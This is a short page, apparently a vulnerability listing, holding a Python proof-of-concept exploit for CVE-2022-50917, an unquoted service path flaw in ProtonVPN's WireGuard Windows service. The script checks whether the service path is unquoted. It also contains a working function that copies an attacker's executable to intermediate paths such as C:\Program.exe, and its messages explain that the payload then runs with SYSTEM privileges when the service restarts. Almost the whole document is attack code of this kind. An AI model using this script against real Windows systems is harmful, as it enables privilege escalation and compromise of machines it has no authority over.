CVE-2022-50917 ProtonVPN 未引号服务路径权限提升漏洞

# CVE-2022-50917 PoC - ProtonVPN Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in ProtonVPN WireGuard service # Attackers can place a malicious executable at an intermediate path location import os import sys import subprocess import shutil def check_vulnerability(): """Check if ProtonVPN WireGuard service is installed and vulnerable""" try: # Query the WireGuard service configuration result = subprocess.run( ['sc', 'qc', 'ProtonVPN WireGuard'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"Service path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not (path.startswith('"') and path.endswith('"')): print("[+] VULNERABLE: Unquoted path with spaces detected!") return True, path else: print("[-] NOT VULNERABLE or path is properly quoted") return False, path else: print("[-] WireGuard service not found") return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(service_path, malicious_exe_path): """ Exploit the unquoted service path by placing malicious executable at an intermediate path location that Windows will try to execute """ # Parse path components path_parts = service_path.strip('"').split('\\') # For each intermediate directory, create potential injection points for i in range(1, len(path_parts)): potential_path = '\\'.join(path_parts[:i]) + '.exe' print(f"[*] Checking: {potential_path}") if not os.path.exists(potential_path): print(f"[+] Can inject at: {potential_path}") print(f"[+] Copy malicious executable to this location") try: # Copy malicious executable to the vulnerable location shutil.copy2(malicious_exe_path, potential_path) print(f"[+] Malicious executable placed at {potential_path}") print("[+] When the service restarts, the malicious code will execute with SYSTEM privileges") return True except Exception as e: print(f"[-] Failed to copy: {e}") return False def main(): print("=" * 60) print("CVE-2022-50917 ProtonVPN Unquoted Service Path Exploit") print("=" * 60) # Check if vulnerable is_vulnerable, service_path = check_vulnerability() if is_vulnerable and service_path: print("\n[*] Vulnerability confirmed!") print("[*] To exploit, place a malicious executable at an intermediate path") print("[*] Example: Copy your payload to C:\\Program.exe") print("[!] This requires administrator privileges to write to system directories") print("[!] Upon service restart, the malicious code will execute with SYSTEM privileges") if __name__ == "__main__": main()